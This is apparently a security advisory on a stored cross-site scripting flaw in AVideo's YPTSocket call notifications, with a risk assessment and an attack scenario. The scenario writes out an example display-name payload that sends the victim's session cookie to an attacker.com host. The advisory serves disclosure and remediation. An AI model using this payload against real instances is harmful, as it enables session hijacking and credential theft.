Avideo EUVD-2026-17646

This vulnerability presents moderate real-world risk despite the 6.4 CVSS score. The authentication requirement (PR:L in CVSS vector) limits the attack surface to registered users with account access, reducing opportunistic exploitation. However, several factors elevate concern: (1) the attack vector is unauthenticated to the victim (AV:N, no victim-side authentication bypass required), (2) attack complexity is low (AC:L-merely setting a display name and initiating a call), (3) no user interaction is required (UI:N-the victim only needs to be connected), (4) scope is changed (S:C-the XSS executes in a different security context than the application alone), enabling cross-origin attacks, (5) the impact includes confidentiality and integrity loss (C:L, I:L), enabling session hijacking or credential theft, and (6) no public patch exists, forcing organizations to apply mitigations or upgrade when patches release. SSVC decision framework places this in the 'scheduled' or 'out-of-cycle' patch category: exploitation is plausible given ease of use, the technical impact is medium (browser compromise), and automatable attacks are feasible. The absence of active KEV status suggests this has not yet been leveraged at scale in the wild, but the low barrier to entry and lack of patches should prompt proactive remediation in production environments.

A malicious user creates a legitimate account on a target AVideo instance and sets their display name to a JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">'. When this user initiates a call to any online victim (no victim interaction required beyond being logged in), the YPTSocket plugin renders the incoming call notification via jQuery Toast, which executes the embedded JavaScript in the victim's browser context. The attacker's script silently exfiltrates the victim's session cookie, authentication tokens, or performs actions on their behalf (e.g., uploading malicious content, modifying settings). With low attack complexity and no victim awareness, a single malicious user can compromise multiple concurrent users in minutes.